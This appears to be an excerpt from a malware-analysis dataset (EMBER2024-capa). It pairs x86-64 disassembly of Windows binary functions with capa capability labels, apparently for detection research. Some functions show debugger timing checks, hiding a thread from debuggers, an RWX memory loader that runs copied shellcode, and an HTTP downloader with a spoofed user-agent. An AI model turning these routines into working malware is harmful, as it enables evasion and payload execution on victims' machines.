joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001c520
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x183458bc0]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x18001c591
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0x103
je 0x18001c5be
test eax, eax
js 0x18001c59d
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x18001c5b4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, [0x183458c20]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.18001bb90
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.18001bd20
mov ecx, 7
int 0x29
ud2
Function at 0x18002eb30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x90
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x40]
call fcn.1800211d0
mov rax, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x38]
mov rcx, rax
neg rcx
jno 0x18002eb7d
mov qword [rbp - 0x20], rdi
movabs rax, 0x8000000000000000
mov qword [rbp - 0x28], rax
jmp 0x18002ebae
mov rcx, qword [rbp - 0x30]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rcx
lea rcx, [rbp - 0x28]
lea rdx, [rbp - 0x58]
call fcn.18002ea40
mov rbx, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x20]
mov rax, rbx
neg rax
jno 0x18002ec35
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x18002ec1a
lea rax, [rdi - 1]
mov qword [rbp - 0x10], rax
mov rax, qword [rdi - 1]
mov qword [rbp - 8], rax
mov rax, qword [rdi + 7]
mov qword [rbp], rax
mov rax, qword [rax]
test rax, rax
je 0x18002ebde
mov rcx, qword [rbp - 8]
call rax
mov r8, qword [rbp - 8]
mov rax, qword [rbp]
cmp qword [rax + 8], 0
je 0x18002ec07
cmp qword [rax + 0x10], 0x11
jb 0x18002ebf8
mov r8, qword [r8 - 8]
mov rcx, qword [0x183469f98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x183469f98]
xor edx, edx
mov r8, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movabs rax, 0x8000000000000000
mov qword [rsi], rax
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov r14, qword [rbp - 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18002ec54
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r14
jmp 0x18002ec27
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test rbx, rbx
je 0x18002ec27
mov rcx, qword [0x183469f98]
xor edx, edx
mov r8, rdi
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
Function at 0x1400011d0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor r11d, r11d
mov rsi, rax
movsxd r9, dword [rax + 0x3c]
add r9, rax
movzx ecx, word [r9 + 6]
lea rdi, [r9 + 0x18]
movzx r8d, word [r9 + 0x14]
lea r10, [r9 + 0x18]
add r10, r8
lea rdx, [rcx + rcx*4]
lea rcx, [r8 + rdx*8]
add rdi, rcx
cmp r10, rdi
jae 0x140001290
mov qword [rsp + 0x30], rbx
nop dword [rax]
test dword [r10 + 0x24], 0x20000000
je 0x140001282
mov edx, dword [r10 + 0xc]
xor r8d, r8d
mov ebx, dword [r10 + 8]
add rdx, rsi
xor r9d, r9d
xor ecx, ecx
test rbx, rbx
je 0x140001282
lea rax, [rbx + 7]
and rax, 0xfffffffffffffff8
cmp rax, 0x10
jb 0x140001277
lea rax, [rbx - 8]
nop dword [rax]
nop dword [rax + rax]
add r8, qword [rcx + rdx]
add r9, qword [rcx + rdx + 8]
add rcx, 0x10
cmp rcx, rax
jb 0x140001260
cmp rcx, rbx
jae 0x14000127b
add r11, qword [rcx + rdx]
lea rcx, [r8 + r9]
add r11, rcx
add r10, 0x28
cmp r10, rdi
jb 0x140001220
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rax, r11
add rsp, 0x20
pop rdi
ret

Function at 0x1400012c0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor r11d, r11d
mov rsi, rax
movsxd r9, dword [rax + 0x3c]
add r9, rax
movzx ecx, word [r9 + 6]
lea rdi, [r9 + 0x18]
movzx r8d, word [r9 + 0x14]
lea r10, [r9 + 0x18]
add r10, r8
lea rdx, [rcx + rcx*4]
lea rcx, [r8 + rdx*8]
add rdi, rcx
cmp r10, rdi
jae 0x140001380
mov qword [rsp + 0x30], rbx
nop
test dword [r10 + 0x24], 0x20000000
je 0x140001372
mov edx, dword [r10 + 0xc]
xor r8d, r8d
mov ebx, dword [r10 + 8]
add rdx, rsi
xor r9d, r9d
xor ecx, ecx
test rbx, rbx
je 0x140001372
lea rax, [rbx + 7]
and rax, 0xfffffffffffffff8
cmp rax, 0x10
jb 0x140001367
lea rax, [rbx - 8]
nop dword [rax]
nop dword [rax + rax]
add r8, qword [rcx + rdx]
add r9, qword [rcx + rdx + 8]
add rcx, 0x10
cmp rcx, rax
jb 0x140001350
cmp rcx, rbx
jae 0x14000136b
add r11, qword [rcx + rdx]
lea rcx, [r8 + r9]
add r11, rcx
add r10, 0x28
cmp r10, rdi
jb 0x140001310
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rax, r11
add rsp, 0x20
pop rdi
ret
Function at 0x1400021f0
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov dword [rsp + 0x20], 0
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
xor r8d, r8d
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_58.0.3029.110_Safari_537.36
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x14000223c
mov rdx, qword [rbx]
mov qword [rsp + 0x28], 0
lea r8, str.Accept:___r_n_r_n
mov r9d, 0xf
mov dword [rsp + 0x20], 0x4000000
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 1
mov rcx, rax
mov r8d, 0xffff
mov rdx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x30]
mov dword [rdi], eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400022be
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400022b9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400022e6
mov rcx, r8
call fcn.140003e8c
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140003e30
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400035e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x34]
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x28], rax
lea r8, [0x140001390]
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x1400036c9
lea rdx, str.NtQueryInformationThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationThread
mov rcx, rbx
mov qword [0x1400086e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, qword [0x1400086e8]
mov qword [0x1400086e0], rax
test r10, r10
je 0x1400036c9
test rax, rax
je 0x1400036c9
mov r9d, 4
mov dword [rsp + 0x30], 1
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], 0
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rcx, rdi
lea edx, [r9 + 0xd]
call r10
mov r9d, 4
lea r8, [rsp + 0x30]
mov rcx, rdi
lea edx, [r9 + 0xd]
call qword [0x1400086e0]
call fcn.140003200
test al, al
je 0x1400036e2
call fcn.140002c20
mov edx, 3
call fcn.140002c10
int3
mov edx, 2
call fcn.140002c10
int3

Function at 0x1400049ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004a36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004a36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004a36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004a36
cmp dword [rcx + 0x84], 0xe
jbe 0x140004a36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004a38
xor al, al
add rsp, 0x28
ret
Function at 0x1400010d7
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
nop
cpuid
nop
mov eax, 1
nop
cpuid
nop
movabs r9, 0xb2d05e00
nop
cpuid
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
mov rcx, rax
nop
fldpi
nop
frndint
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
sub rax, rcx
nop
cmp rax, r9
nop
jb 0x140001104
nop
nop
push rbp
nop
mov rbp, rsp
nop
sub rsp, 8
nop
mov r10, 0xa
nop
mov rcx, 0xffffffff9f345678
nop
dec rcx
nop
xor r9, r9
nop
mov rax, rcx
nop
jne 0x14000113d
nop
xor rax, rax
nop
mov rax, rbx
nop
add rax, rdx
nop
dec r10
nop
xor r11, r11
nop
jne 0x140001134
nop
xor rax, rax
mov rax, 0xa
nop
dec rax
nop
add rsp, 8
pop rbp
ret

Function at 0x1400029cf
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xa6a4
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140002a20
mov rbx, rax
call 0x140002a03
nop
pop rsi
mov r9, rax
add rsi, 0x61ee0
mov rcx, 0xa6a4
mov r8, rcx
lea rax, [rsi]
mov dl, byte [rax]
mov byte [rbx], dl
add rsi, 1
add rbx, 1
add rax, 1
dec r8
jne 0x140002a1c
call r9
mov ecx, 1
ret
Function at 0x140003790
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x110
mov rax, qword [0x140062058]
xor rax, rsp
mov qword [rsp + 0x100], rax
mov rbx, rcx
cmp edx, 0x70
je 0x14000387c
cmp edx, 0x74
jbe 0x140003875
cmp edx, 0x76
ja 0x140003875
mov qword [rsp + 0x28], rcx
lea r9, [rsp + 0x30]
lea r8, [0x140049a50]
lea rcx, str.Version
lea rdx, str.Class
mov dword [rsp + 0x20], 0xc8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140003875
lea rsi, [rsp + 0x30]
lea rdi, str.Ports
mov ecx, 6
repe cmpsb byte [rsi], byte [rdi]
jne 0x140003875
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0xc8
call fcn.140030860
lea r9, [rsp + 0x30]
lea r8, [0x140049a50]
lea rdx, [0x140048f7c]
lea rcx, str.Strings
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0xc8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140003875
lea rdx, str.SNBC
lea rcx, [rsp + 0x30]
call fcn.140030644
test rax, rax
jne 0x1400039cc
xor al, al
jmp 0x1400039ce
mov qword [rsp + 0x28], rcx
lea r9, [rsp + 0x30]
lea r8, [0x140049a50]
lea rcx, str.Version
lea rdx, str.Class
mov dword [rsp + 0x20], 0xc8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140003875
lea rsi, [rsp + 0x30]
lea rdi, [0x140048fdc]
mov ecx, 4
repe cmpsb byte [rsi], byte [rdi]
jne 0x140003875
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0xc8
call fcn.140030860
lea r9, [rsp + 0x30]
lea r8, [0x140049a50]
lea rdx, str.Provider
lea rcx, str.Strings
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0xc8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x14000397d
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0xc8
call fcn.140030860
lea r9, [rsp + 0x30]
lea r8, [0x140049a50]
lea rdx, [0x140048fcc]
lea rcx, str.Strings
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0xc8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x14000397d
lea r9, [rsp + 0x30]
lea r8, [0x140049a50]
lea rdx, [0x140048fc8]
lea rcx, str.Strings
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0xc8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140003875
lea r9, [rsp + 0x30]
lea r8, [0x140049a50]
lea rdx, str.Disk
lea rcx, str.Strings
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0xc8
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140003875
lea rdx, str.SNBC_Printer_Driver
lea rcx, [rsp + 0x30]
call fcn.140030644
test rax, rax
je 0x140003875
mov al, 1
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.140030820
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140003a00
Capabilities:
Delete file
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140062058]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x104
call fcn.140030860
lea rcx, [rsp + 0x20]
mov rdx, rbx
sub rcx, rbx
nop
movzx eax, byte [rdx]
inc rdx
mov byte [rcx + rdx - 1], al
test al, al
jne 0x140003a40
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
mov edx, 0x80
not rcx
lea rax, [rcx - 1]
mov rcx, rbx
cdqe
mov byte [rsp + rax + 0x1d], 0x50
mov byte [rsp + rax + 0x1e], 0x4e
mov byte [rsp + rax + 0x1f], 0x46
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rsp + 0x20]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140030820
mov rbx, qword [rsp + 0x158]
add rsp, 0x140
pop rdi
ret

Function at 0x140003ad0
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140062058]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x104
call fcn.140030860
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
not rcx
cmp byte [rsp + rcx + 0x1e], 0x5c
je 0x140003b41
lea rdi, [rsp + 0x20]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x140049a64]
mov word [rdi - 1], ax
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
mov rax, qword [str.Drivers_]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
movzx eax, byte [0x140049a60]
mov byte [rdi + 7], al
xor eax, eax
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140003b80
lea rcx, [rsp + 0x20]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140030820
mov rbx, qword [rsp + 0x158]
add rsp, 0x140
pop rdi
ret
Function at 0x140003bd0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x100
mov rax, qword [0x140062058]
xor rax, rsp
mov qword [rsp + 0xf0], rax
xor eax, eax
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x9c
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
call fcn.140030860
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
lea rcx, [0x140049a80]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.GetNativeSystemInfo
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x20]
test rax, rax
je 0x140003c5d
call rax
jmp 0x140003c63
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x60]
sub eax, 1
je 0x140003d14
cmp eax, 1
je 0x140003c7f
mov ebx, 3
jmp 0x140003d1b
mov ecx, dword [rsp + 0x54]
cmp ecx, 4
jne 0x140003c9a
cmp dword [rsp + 0x58], ebx
jne 0x140003d1b
lea ebx, [rcx - 3]
jmp 0x140003d1b
mov eax, dword [rsp + 0x58]
cmp ecx, 5
jne 0x140003ccf
test eax, eax
jne 0x140003cac
lea ebx, [rax + 2]
jmp 0x140003d1b
cmp eax, 1
je 0x140003c75
cmp eax, 2
jne 0x140003d1b
cmp byte [rsp + 0xea], 1
jne 0x140003cc8
cmp word [rsp + 0x20], 9
je 0x140003c75
mov ebx, 4
jmp 0x140003d1b
cmp ecx, 6
jne 0x140003d06
test eax, eax
jne 0x140003ce8
cmp byte [rsp + 0xea], 1
setne bl
add ebx, 5
jmp 0x140003d1b
cmp eax, 1
jne 0x140003cfc
cmp byte [rsp + 0xea], al
sete bl
add ebx, 6
jmp 0x140003d1b
cmp eax, 2
jne 0x140003d0b
lea ebx, [rax + 6]
jmp 0x140003d1b
jb 0x140003d1b
cmp eax, 2
jbe 0x140003d1b
mov ebx, 9
jmp 0x140003d1b
cmp dword [rsp + 0x58], ebx
cmova ebx, ebx
mov eax, ebx
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.140030820
add rsp, 0x100
pop rbx
ret

Function at 0x140003d40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140003d73
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140003db7
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140003db2
cmp rbx, r11
jae 0x140003db7
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140003da0
cmp rbx, r11
jb 0x140003dbb
xor eax, eax
jmp 0x140003dc7
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140007280
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov rdi, r8
mov ebx, edx
mov rsi, rcx
mov byte [r8], 0
call fcn.14000c438
mov rcx, rax
xor r9d, r9d
test rax, rax
setne r9b
test r9d, r9d
jne 0x1400072c7
mov ecx, 0x80004005
call fcn.140003070
int3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x70], rax
mov r8d, ebx
lea rdx, [0x14004a610]
lea rcx, [rsp + 0x70]
call fcn.140007250
mov r8d, 5
mov rbx, qword [rsp + 0x70]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
jne 0x140007338
lea rdx, [rbx - 0x18]
or edi, 0xffffffff
lock xadd dword [rdx + 0x10], edi
dec edi
test edi, edi
jg 0x14000739b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
jmp 0x14000739b
cmp word [rax], 1
jne 0x14000734f
mov ecx, 0xffff
cmp word [rax + 2], cx
jne 0x14000734f
lea r8, [rax + 0x1e]
jmp 0x140007353
lea r8, [rax + 0x16]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xff
mov qword [rsp + 0x20], rdi
or edi, 0xffffffff
mov r9d, edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
lea rdx, [rbx - 0x18]
lock xadd dword [rdx + 0x10], edi
dec edi
test edi, edi
jg 0x14000739b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x140015334
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x14001539c
call fcn.140016eb4
mov r8d, pe_nt_image_headers64
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x14001539c
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x1400153be
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140014d4c
mov esi, eax
test rdi, rdi
je 0x1400153bc
test rbx, rbx
je 0x1400153bc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x140015c20
Capabilities:
Get graphical window text

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xa0], 0
jne 0x140015c5e
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x140015d12
call fcn.14000c438
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x140015c7d
mov ecx, 0x80004005
call fcn.140003070
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [rax + 0x118]
mov rdx, rsi
or rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x40]
mov rcx, rdi
call fcn.14003259c
test eax, eax
je 0x140015ce5
cmp eax, 0xc
je 0x140015cdf
cmp eax, 0x16
je 0x140015cd9
cmp eax, 0x22
je 0x140015cd9
cmp eax, 0x50
je 0x140015ce5
call fcn.14000c344
int3
call fcn.14000c344
int3
call fcn.14000c2fc
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x140015d10
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret